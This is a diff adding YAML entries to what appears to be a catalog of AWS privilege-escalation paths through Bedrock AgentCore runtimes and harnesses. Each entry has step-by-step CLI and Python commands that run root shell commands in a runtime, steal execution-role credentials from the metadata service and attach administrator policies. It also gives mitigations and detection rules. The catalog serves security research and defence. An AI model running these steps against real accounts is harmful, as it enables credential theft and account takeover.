diff --git a/data/paths/bedrock/bedrock-003.yaml b/data/paths/bedrock/bedrock-003.yaml new file mode 100644 index 00000000..03eeded6 --- /dev/null +++ b/data/paths/bedrock/bedrock-003.yaml @@ -0,0 +1,281 @@ +id: bedrock-003 +name: iam:PassRole + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:InvokeAgentRuntimeCommand +category: new-passrole +services: +- iam +- bedrock-agentcore +permissions: + required: + - permission: iam:PassRole + resourceConstraints: Target role ARN must be in the Resource section and the role must trust bedrock-agentcore.amazonaws.com + - permission: bedrock-agentcore:CreateAgentRuntime + resourceConstraints: Must have permission to create Bedrock AgentCore runtimes + - permission: bedrock-agentcore:CreateAgentRuntimeEndpoint + resourceConstraints: Must have permission to create the runtime endpoint used to invoke the runtime + - permission: bedrock-agentcore:CreateWorkloadIdentity + resourceConstraints: Must have permission to create the workload identity the runtime requires at creation + - permission: bedrock-agentcore:InvokeAgentRuntimeCommand + resourceConstraints: Must have permission to invoke commands on the created runtime + additional: + - permission: iam:ListRoles + resourceConstraints: Helpful for discovering AgentCore execution roles available to pass + - permission: iam:GetRole + resourceConstraints: Useful for viewing role trust policies and attached permissions + - permission: bedrock-agentcore:GetAgentRuntime + resourceConstraints: Useful for confirming the new runtime reached a READY state before invoking it +description: A principal with `iam:PassRole`, `bedrock-agentcore:CreateAgentRuntime`, `bedrock-agentcore:CreateAgentRuntimeEndpoint`, `bedrock-agentcore:CreateWorkloadIdentity` and `bedrock-agentcore:InvokeAgentRuntimeCommand` can deploy a new AgentCore Runtime with a privileged IAM execution role and then run shell commands as root inside its Firecracker microVM. `InvokeAgentRuntimeCommand` executes a submitted command as root parallel to the customer agent process, bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the chosen execution role. Creating the runtime rather than targeting an existing one lets the attacker pick exactly which role to escalate to. +prerequisites: + admin: + - A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it + - The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy) + lateral: + - A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it +exploitationSteps: + awscli: + - step: 1 + command: 'export AWS_REGION=[your region] + + export EXECUTION_ROLE=arn:aws:iam::[account-id]:role/[role with admin privs that trusts bedrock-agentcore] + + export CONTAINER_URI=[attacker-controlled ECR image URI] + + which jq + + ' + description: Set up session variables and confirm jq is installed + - step: 2 + command: | + RUNTIME_ARN=$(aws bedrock-agentcore-control create-agent-runtime \ + --agent-runtime-name atk_runtime \ + --role-arn $EXECUTION_ROLE \ + --agent-runtime-artifact "{\"containerConfiguration\":{\"containerUri\":\"$CONTAINER_URI\"}}" \ + --network-configuration '{"networkMode":"PUBLIC"}' | jq -r .agentRuntimeArn) + description: Create a runtime with the privileged execution role. The call provisions the DEFAULT runtime endpoint and the workload identity, which is why CreateAgentRuntimeEndpoint and CreateWorkloadIdentity are required + - step: 3 + command: | + cat << 'EOF' > "get_creds_from_runtime.py" + import boto3, sys, uuid + client = boto3.client("bedrock-agentcore", region_name=sys.argv[2]) + + command = """bash -c ' + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role + '""" + + response = client.invoke_agent_runtime_command( + agentRuntimeArn=sys.argv[1], + runtimeSessionId=str(uuid.uuid4()), + body={"command": command, "timeout": 30}, + ) + for event in response["stream"]: + chunk = event["chunk"] + if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]: + print(chunk["contentDelta"]["stdout"], end="") + EOF + description: Create the python file that submits a root shell command reading the execution role credentials from MMDS + - step: 4 + command: 'CREDS=$(python3 get_creds_from_runtime.py $RUNTIME_ARN $AWS_REGION) + + echo export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId") + + echo export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey") + + echo export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token") + + ' + description: Run the python file using the $RUNTIME_ARN to extract the execution role credentials + - step: 5 + command: 'export AWS_ACCESS_KEY_ID= + + export AWS_SECRET_ACCESS_KEY= + + export AWS_SESSION_TOKEN= + + aws sts get-caller-identity + + ' + description: Use the stolen credentials to act as the runtime execution role +recommendation: | + High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the runtime microVM, bypassing the agent, model and guardrails. + + - **Avoid administrative service roles** - Very rarely does an AgentCore Runtime need administrative access. Use the principle of least privilege and start from AWS's documented runtime execution role policy. + - **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. + - **Constrain `bedrock-agentcore:InvokeAgentRuntimeCommand`** - Treat it as a command-execution gate equivalent to root on the microVM and deny it org-wide except for an approved allowlist. + + Use IAM policy conditions to restrict which roles can be passed and to which services: + + ```json + { + "Effect": "Allow", + "Action": "iam:PassRole", + "Resource": "arn:aws:iam::ACCOUNT_ID:role/SpecificAgentCoreRuntimeRole", + "Condition": { + "StringEquals": { + "iam:PassedToService": "bedrock-agentcore.amazonaws.com" + } + } + } + ``` + + Deny the command-execution permission outside an approved allowlist with an SCP: + + ```json + { + "Effect": "Deny", + "Action": "bedrock-agentcore:InvokeAgentRuntimeCommand", + "Resource": "*", + "Condition": { + "ArnNotLike": { + "aws:PrincipalArn": "arn:aws:iam::*:role/ApprovedAgentCoreOperators" + } + } + } + ``` + + - Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types to capture `InvokeAgentRuntimeCommand` + - The auto-created `/aws/bedrock-agentcore/runtimes/-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials + - Monitor CloudTrail for runtime creation followed by immediate invocation, and for runtimes created by principals who do not usually deploy AgentCore + - Monitor CloudTrail for roles being passed to bedrock-agentcore that have not been passed before + - Regularly audit all IAM roles that trust bedrock-agentcore.amazonaws.com and down-scope any with administrative access +limitations: 'This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data. + + ' +discoveryAttribution: + firstDocumented: + author: Sergio Garcia + organization: BeyondTrust Phantom Labs + date: 2026 + link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +references: +- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore' + url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +- title: Understanding Credentials Management in Amazon Bedrock AgentCore + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html +- title: AgentCore Runtime execution role permissions + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-permissions.html +relatedPaths: +- bedrock-001 +- bedrock-004 +- bedrock-005 +- ec2-001 +- sagemaker-001 +attackVisualization: + nodes: + - id: start + label: Starting Principal + type: principal + description: The principal with iam:PassRole and the bedrock-agentcore create and invoke permissions. Can be an IAM user or role. This is the attacker's initial access point. + - id: agent_runtime + label: New AgentCore Runtime + type: resource + description: A new AgentCore Runtime created with a privileged execution role. The runtime runs on a Firecracker microVM that exposes the role credentials on the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. + - id: target_role + label: Existing Role That Trusts the bedrock-agentcore Service + type: principal + description: The IAM role passed to the runtime as its execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. AgentCore assumes the role and serves its temporary credentials on MMDS at the execution_role endpoint inside the microVM. + - id: method_sdk_attack + label: 'Method 1: Act directly from the root shell' + type: payload + color: '#99ccff' + description: | + The submitted command runs as root inside the microVM where the execution role credentials are already present in the environment, so the attacker can perform privileged actions in place without exfiltrating anything. + + Example command body invoked through InvokeAgentRuntimeCommand: + ```bash + aws iam attach-user-policy \ + --user-name attacker-user \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess + ``` + - id: method_cred_exfil + label: 'Method 2: Exfiltrate credentials to the response stream' + type: payload + color: '#99ccff' + description: | + The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. + + Example command body invoked through InvokeAgentRuntimeCommand: + ```bash + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role + ``` + + This returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire. + - id: admin + label: Effective Administrator + type: outcome + description: The execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account. + - id: some_perms + label: Some additional access + type: outcome + color: '#ffeb99' + description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained. + - id: no_access + label: No additional access + type: outcome + color: '#cccccc' + description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different role. + edges: + - from: start + to: agent_runtime + label: iam:PassRole + bedrock-agentcore:CreateAgentRuntime + description: | + Create a new AgentCore Runtime and pass the target role to it as the execution role. The runtime runs on a Firecracker microVM with access to MMDS. + + Command: + ```bash + aws bedrock-agentcore-control create-agent-runtime \ + --agent-runtime-name atk_runtime \ + --role-arn $EXECUTION_ROLE \ + --agent-runtime-artifact '{"containerConfiguration":{"containerUri":""}}' \ + --network-configuration '{"networkMode":"PUBLIC"}' + ``` + - from: agent_runtime + to: target_role + label: Runtime assumes the execution role + description: AgentCore assumes the passed execution role and serves its temporary credentials on the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role inside the runtime microVM. + - from: target_role + to: method_sdk_attack + label: Option A + branch: A + description: The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly. + - from: target_role + to: method_cred_exfil + label: Option B + branch: B + description: The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location. + - from: method_sdk_attack + to: admin + label: If the execution role has admin permissions + branch: A1 + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys. + - from: method_sdk_attack + to: some_perms + label: If the execution role has some elevated permissions + branch: A2 + condition: some_permissions + description: If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources. + - from: method_sdk_attack + to: no_access + label: If the execution role has minimal permissions + branch: A3 + condition: no_permissions + description: If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would pass a different role. + - from: method_cred_exfil + to: admin + label: If the execution role has admin permissions + branch: B1 + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location. + - from: method_cred_exfil + to: some_perms + label: If the execution role has some elevated permissions + branch: B2 + condition: some_permissions + description: If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks. + - from: method_cred_exfil + to: no_access + label: If the execution role has minimal permissions + branch: B3 + condition: no_permissions + description: If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation. diff --git a/data/paths/bedrock/bedrock-004.yaml b/data/paths/bedrock/bedrock-004.yaml new file mode 100644 index 00000000..6a358a49 --- /dev/null +++ b/data/paths/bedrock/bedrock-004.yaml @@ -0,0 +1,259 @@ +id: bedrock-004 +name: bedrock-agentcore:InvokeAgentRuntimeCommand +category: existing-passrole +services: +- bedrock-agentcore +description: A principal with `bedrock-agentcore:InvokeAgentRuntimeCommand` can run a shell command as root inside the Firecracker microVM of an existing AgentCore Runtime or Harness, parallel to the customer agent process and bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the role already attached to that resource. This path does not require `iam:PassRole` because the role is already attached to the existing resource. Harness is AgentCore Runtime with a managed agent layer on top, so the same single permission applies to both resource types. Only resources using IAM as their Inbound Auth type are affected; resources configured to use JSON Web Tokens (JWT) reject the call. +prerequisites: + admin: + - An AgentCore Runtime or Harness must exist with an IAM execution role attached + - The resource must use IAM as its Inbound Auth type (resources configured to use JWT reject InvokeAgentRuntimeCommand) + - The execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy) + lateral: + - An AgentCore Runtime or Harness must exist with an IAM execution role attached + - The resource must use IAM as its Inbound Auth type +exploitationSteps: + awscli: + - step: 1 + command: 'aws bedrock-agentcore-control list-agent-runtimes + + aws bedrock-agentcore-control list-harnesses + + ' + description: List existing runtimes and harnesses to find targets with privileged execution roles + - step: 2 + command: aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID + description: Check the resource's execution role ARN to confirm elevated permissions, and note the runtime or harness ARN to target + - step: 3 + command: | + cat << 'EOF' > "get_creds_from_runtime.py" + import boto3, sys, uuid + client = boto3.client("bedrock-agentcore", region_name=sys.argv[2]) + + command = """bash -c ' + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role + '""" + + # sys.argv[1] is the existing runtime ARN or harness ARN + response = client.invoke_agent_runtime_command( + agentRuntimeArn=sys.argv[1], + runtimeSessionId=str(uuid.uuid4()), + body={"command": command, "timeout": 30}, + ) + for event in response["stream"]: + chunk = event["chunk"] + if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]: + print(chunk["contentDelta"]["stdout"], end="") + EOF + description: Create the python file that submits a root shell command reading the execution role credentials from MMDS on the existing resource + - step: 4 + command: 'CREDS=$(python3 get_creds_from_runtime.py $TARGET_ARN $AWS_REGION) + + echo export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId") + + echo export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey") + + echo export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token") + + ' + description: Run the python file against the existing runtime or harness ARN to extract the execution role credentials + - step: 5 + command: 'export AWS_ACCESS_KEY_ID= + + export AWS_SECRET_ACCESS_KEY= + + export AWS_SESSION_TOKEN= + + aws sts get-caller-identity + + ' + description: Use the stolen credentials to act as the resource execution role +recommendation: | + Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM. + + ```json + { + "Effect": "Allow", + "Action": "bedrock-agentcore:InvokeAgentRuntimeCommand", + "Resource": "arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:runtime/SpecificRuntime" + } + ``` + + In AWS Organizations, deny the permission org-wide except for an approved allowlist with an SCP: + + ```json + { + "Effect": "Deny", + "Action": "bedrock-agentcore:InvokeAgentRuntimeCommand", + "Resource": "*", + "Condition": { + "ArnNotLike": { + "aws:PrincipalArn": "arn:aws:iam::*:role/ApprovedAgentCoreOperators" + } + } + } + ``` + + Additional controls: + - Any policy granting the `bedrock-agentcore:*` wildcard includes this permission, including the AWS managed BedrockAgentCoreFullAccess policy; audit principals that hold it + - Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types (Harness manages a Runtime under the hood, so both are covered by these types) + - The auto-created `/aws/bedrock-agentcore/runtimes/-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials + - Scope every AgentCore execution role to least privilege so a stolen role steals nothing it could not already do + - Regularly audit execution roles attached to existing runtimes and harnesses, including the Console-provisioned default service roles +limitations: 'This path provides administrative access only if the target resource execution role has administrative permissions. The attacker gains whatever permissions the resource role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data. + + ' +discoveryAttribution: + firstDocumented: + author: Sergio Garcia + organization: BeyondTrust Phantom Labs + date: 2026 + link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation + derivativeOf: + pathId: bedrock-003 + modification: Targets an existing Runtime or Harness instead of creating one, eliminating the need for iam:PassRole and the bedrock-agentcore Create permissions; the single InvokeAgentRuntimeCommand permission covers both resource types because Harness manages a Runtime under the hood +references: +- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore' + url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +- title: Understanding Credentials Management in Amazon Bedrock AgentCore + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html +- title: AgentCore Harness Environment and Skills + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-environment.html +- title: AgentCore Runtime command execution security best practices + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html +relatedPaths: +- bedrock-002 +- bedrock-003 +- bedrock-005 +- ec2-002 +- lambda-003 +permissions: + required: + - permission: bedrock-agentcore:InvokeAgentRuntimeCommand + resourceConstraints: Target runtime or harness must be in the Resource section and must use IAM as its Inbound Auth type + additional: + - permission: bedrock-agentcore:ListAgentRuntimes + resourceConstraints: List the runtimes that already exist + - permission: bedrock-agentcore:ListHarnesses + resourceConstraints: List the harnesses that already exist + - permission: bedrock-agentcore:GetAgentRuntime + resourceConstraints: Identify the execution role and Inbound Auth type of a target resource +attackVisualization: + nodes: + - id: start + label: Starting Principal + type: principal + description: The principal with bedrock-agentcore:InvokeAgentRuntimeCommand. Can be an IAM user or role. This attack targets an existing runtime or harness rather than creating one, so iam:PassRole is not required. + - id: agent_resource + label: Existing Runtime or Harness + type: resource + description: An existing AgentCore Runtime or Harness with a privileged execution role already attached, using IAM as its Inbound Auth type. The resource runs on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. + - id: execution_role + label: Resource Execution Role + type: principal + description: The IAM role attached to the runtime or harness as its execution role. A command submitted through InvokeAgentRuntimeCommand runs as root in the microVM with this role's credentials available on MMDS at the execution_role endpoint. This role must trust bedrock-agentcore.amazonaws.com in its trust policy. + - id: method_sdk_attack + label: 'Method 1: Act directly from the root shell' + type: payload + color: '#99ccff' + description: | + The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything. + + Example command body invoked through InvokeAgentRuntimeCommand: + ```bash + aws iam attach-user-policy \ + --user-name attacker-user \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess + ``` + - id: method_cred_exfil + label: 'Method 2: Exfiltrate credentials to the response stream' + type: payload + color: '#99ccff' + description: | + The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. + + Example command body invoked through InvokeAgentRuntimeCommand: + ```bash + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role + ``` + + This returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire. + - id: admin + label: Effective Administrator + type: outcome + description: The resource execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account. + - id: some_perms + label: Some additional access + type: outcome + color: '#ffeb99' + description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained. + - id: no_access + label: No additional access + type: outcome + color: '#cccccc' + description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different resource. + edges: + - from: start + to: agent_resource + label: Target existing runtime or harness + description: | + Identify an existing runtime or harness that has a privileged execution role attached and uses IAM Inbound Auth. Use the list and get control-plane calls to discover candidates and confirm their execution role. + + Commands: + ```bash + aws bedrock-agentcore-control list-agent-runtimes + aws bedrock-agentcore-control list-harnesses + aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID + ``` + - from: agent_resource + to: execution_role + label: bedrock-agentcore:InvokeAgentRuntimeCommand + description: The attacker submits a shell command that runs as root inside the microVM, parallel to the agent process and bypassing the agent, model and guardrails. The command has access to the execution role credentials through MMDS. + - from: execution_role + to: method_sdk_attack + label: Option A + branch: A + description: The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly. + - from: execution_role + to: method_cred_exfil + label: Option B + branch: B + description: The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location. + - from: method_sdk_attack + to: admin + label: If the execution role has admin permissions + branch: A1 + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys. + - from: method_sdk_attack + to: some_perms + label: If the execution role has some elevated permissions + branch: A2 + condition: some_permissions + description: If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources. + - from: method_sdk_attack + to: no_access + label: If the execution role has minimal permissions + branch: A3 + condition: no_permissions + description: If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would target a different resource. + - from: method_cred_exfil + to: admin + label: If the execution role has admin permissions + branch: B1 + condition: admin + description: If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location. + - from: method_cred_exfil + to: some_perms + label: If the execution role has some elevated permissions + branch: B2 + condition: some_permissions + description: If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks. + - from: method_cred_exfil + to: no_access + label: If the execution role has minimal permissions + branch: B3 + condition: no_permissions + description: If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation. diff --git a/data/paths/bedrock/bedrock-005.yaml b/data/paths/bedrock/bedrock-005.yaml new file mode 100644 index 00000000..1fb56865 --- /dev/null +++ b/data/paths/bedrock/bedrock-005.yaml @@ -0,0 +1,269 @@ +id: bedrock-005 +name: iam:PassRole + bedrock-agentcore:CreateHarness + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:GetAgentRuntime + bedrock-agentcore:InvokeAgentRuntimeCommand +category: new-passrole +services: +- iam +- bedrock-agentcore +permissions: + required: + - permission: iam:PassRole + resourceConstraints: Target role ARN must be in the Resource section and the role must trust bedrock-agentcore.amazonaws.com + - permission: bedrock-agentcore:CreateHarness + resourceConstraints: Must have permission to create Bedrock AgentCore harnesses + - permission: bedrock-agentcore:CreateAgentRuntime + resourceConstraints: CreateHarness provisions a Runtime under the hood, which requires this permission + - permission: bedrock-agentcore:CreateAgentRuntimeEndpoint + resourceConstraints: Required to create the runtime endpoint the harness uses + - permission: bedrock-agentcore:CreateWorkloadIdentity + resourceConstraints: Required to create the workload identity the underlying runtime needs + - permission: bedrock-agentcore:GetAgentRuntime + resourceConstraints: Required to resolve the runtime that CreateHarness provisions before invoking it + - permission: bedrock-agentcore:InvokeAgentRuntimeCommand + resourceConstraints: Must have permission to invoke commands on the created harness + additional: + - permission: iam:ListRoles + resourceConstraints: Helpful for discovering AgentCore execution roles available to pass + - permission: iam:GetRole + resourceConstraints: Useful for viewing role trust policies and attached permissions +description: A principal with `iam:PassRole`, `bedrock-agentcore:CreateHarness` and the supporting create and invoke permissions can deploy a new AgentCore Harness with a privileged IAM execution role and then run shell commands as root inside its Firecracker microVM. Harness is AgentCore Runtime with a managed agent layer on top (model, tools, memory, observability), and `CreateHarness` provisions a Runtime under the hood, which is why the chain also needs the runtime create permissions and `GetAgentRuntime`. `InvokeAgentRuntimeCommand` runs as root parallel to the managed agent loop, bypassing the agent, model and guardrails, and reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. Creating the harness rather than targeting an existing one lets the attacker pick exactly which role to escalate to. +prerequisites: + admin: + - A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it + - The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy) + lateral: + - A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it +exploitationSteps: + awscli: + - step: 1 + command: 'export AWS_REGION=[your region] + + export EXECUTION_ROLE=arn:aws:iam::[account-id]:role/[role with admin privs that trusts bedrock-agentcore] + + export MODEL_ID=[a Bedrock model id available in the account] + + which jq + + ' + description: Set up session variables and confirm jq is installed + - step: 2 + command: | + HARNESS_ARN=$(aws bedrock-agentcore-control create-harness \ + --harness-name atk_harness \ + --execution-role-arn $EXECUTION_ROLE \ + --model "{\"bedrockModelConfig\":{\"modelId\":\"$MODEL_ID\"}}" | jq -r .harnessArn) + description: Create a harness with the privileged execution role. CreateHarness provisions a runtime, endpoint and workload identity under the hood, hence the longer permission chain + - step: 3 + command: | + cat << 'EOF' > "get_creds_from_harness.py" + import boto3, sys, uuid + client = boto3.client("bedrock-agentcore", region_name=sys.argv[2]) + + command = """bash -c ' + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/execution_role + '""" + + # sys.argv[1] is the harness ARN, not the underlying runtime ARN + response = client.invoke_agent_runtime_command( + agentRuntimeArn=sys.argv[1], + runtimeSessionId=str(uuid.uuid4()), + body={"command": command, "timeout": 30}, + ) + for event in response["stream"]: + chunk = event["chunk"] + if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]: + print(chunk["contentDelta"]["stdout"], end="") + EOF + description: Create the python file that submits a root shell command reading the execution role credentials from MMDS + - step: 4 + command: 'CREDS=$(python3 get_creds_from_harness.py $HARNESS_ARN $AWS_REGION) + + echo export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId") + + echo export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey") + + echo export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token") + + ' + description: Run the python file using the $HARNESS_ARN to extract the execution role credentials + - step: 5 + command: 'export AWS_ACCESS_KEY_ID= + + export AWS_SECRET_ACCESS_KEY= + + export AWS_SESSION_TOKEN= + + aws sts get-caller-identity + + ' + description: Use the stolen credentials to act as the harness execution role +recommendation: | + High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the harness microVM, bypassing the managed agent loop, model and guardrails. + + - **Avoid administrative service roles** - Very rarely does an AgentCore Harness need administrative access. Use the principle of least privilege and start from AWS's documented harness execution role policy. + - **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. + - **Constrain `bedrock-agentcore:InvokeAgentRuntimeCommand`** - Treat it as a command-execution gate equivalent to root on the microVM and deny it org-wide except for an approved allowlist. + + Use IAM policy conditions to restrict which roles can be passed and to which services: + + ```json + { + "Effect": "Allow", + "Action": "iam:PassRole", + "Resource": "arn:aws:iam::ACCOUNT_ID:role/SpecificAgentCoreHarnessRole", + "Condition": { + "StringEquals": { + "iam:PassedToService": "bedrock-agentcore.amazonaws.com" + } + } + } + ``` + + - Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types; Harness manages a Runtime under the hood, so these types capture the harness command invocations + - The auto-created `/aws/bedrock-agentcore/runtimes/-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials + - Monitor CloudTrail for harness creation followed by immediate invocation, and for harnesses created by principals who do not usually deploy AgentCore + - Monitor CloudTrail for roles being passed to bedrock-agentcore that have not been passed before + - Regularly audit all IAM roles that trust bedrock-agentcore.amazonaws.com, including the Console-provisioned harness default service role, and down-scope any with administrative access +limitations: 'This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data. + + ' +discoveryAttribution: + firstDocumented: + author: Sergio Garcia + organization: BeyondTrust Phantom Labs + date: 2026 + link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation + derivativeOf: + pathId: bedrock-003 + modification: Targets a Harness instead of a bare Runtime; CreateHarness provisions a Runtime under the hood so the chain adds CreateHarness and GetAgentRuntime, but the credential theft via InvokeAgentRuntimeCommand and MMDS is identical +references: +- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore' + url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation +- title: Understanding Credentials Management in Amazon Bedrock AgentCore + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html +- title: Amazon Bedrock AgentCore Harness + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness.html +relatedPaths: +- bedrock-003 +- bedrock-004 +- ec2-001 +- sagemaker-001 +attackVisualization: + nodes: + - id: start + label: Starting Principal + type: principal + description: The principal with iam:PassRole and the bedrock-agentcore create and invoke permissions. Can be an IAM user or role. This is the attacker's initial access point. + - id: harness + label: New AgentCore Harness + type: resource + description: A new AgentCore Harness created with a privileged execution role. CreateHarness provisions a Runtime under the hood that runs on a Firecracker microVM and exposes the role credentials 